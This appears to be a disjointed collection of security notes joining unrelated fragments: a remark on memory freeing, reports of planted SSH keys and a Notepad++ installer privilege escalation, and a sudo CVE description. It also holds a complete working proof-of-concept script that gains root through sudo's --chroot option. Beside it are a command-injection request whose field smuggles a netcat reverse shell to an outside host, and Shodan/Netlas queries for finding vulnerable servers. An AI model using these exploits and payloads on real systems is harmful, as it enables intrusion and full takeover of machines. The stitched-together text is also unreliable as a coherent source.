this is fine, as the OS can deallocate the terminated program faster than we can free memory

During device initialization, if the system identifies itself as a user terminal, the initialization script automatically writes 41 SSH public keys into /root/.ssh/authorized_keys. Notably, port 22 on the UTA remains open to the local network at all times. Having such a large number of unknown login keys on a user product certainly raises eyebrows.

Summary: if a fake regsvr32.exe is placed in the same folder as the Notepad++'s installer (v8.8.1 and prior), it might lead to local privilege escalation, because it gets run as system-level privilege (NT AUTHORITY\SYSTEM)

Moral of the story: when running external executables (or importing DLLs), either use their proper full path (if they are a system component), or do some validation (maybe a file signature validation? I doubt it's worth it in this particular case tho)

Sudo before 1.9.17p1 allows local users to obtain root access because /etc/nsswitch.conf from a user-controlled directory is used with the --chroot option.

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

curl -kis 'https://127.0.0.1:52083/myuser/index.php?module=filemanager&acc=changePerm' --data 'fileName=.bashrc&currentPath=/home/myuser&t_total=`nc 1.2.3.4 9999 -e /bin/bash`'

Netlas.io: http.headers.server:"cwpsrv"
Shodan: Server: “cwpsrv”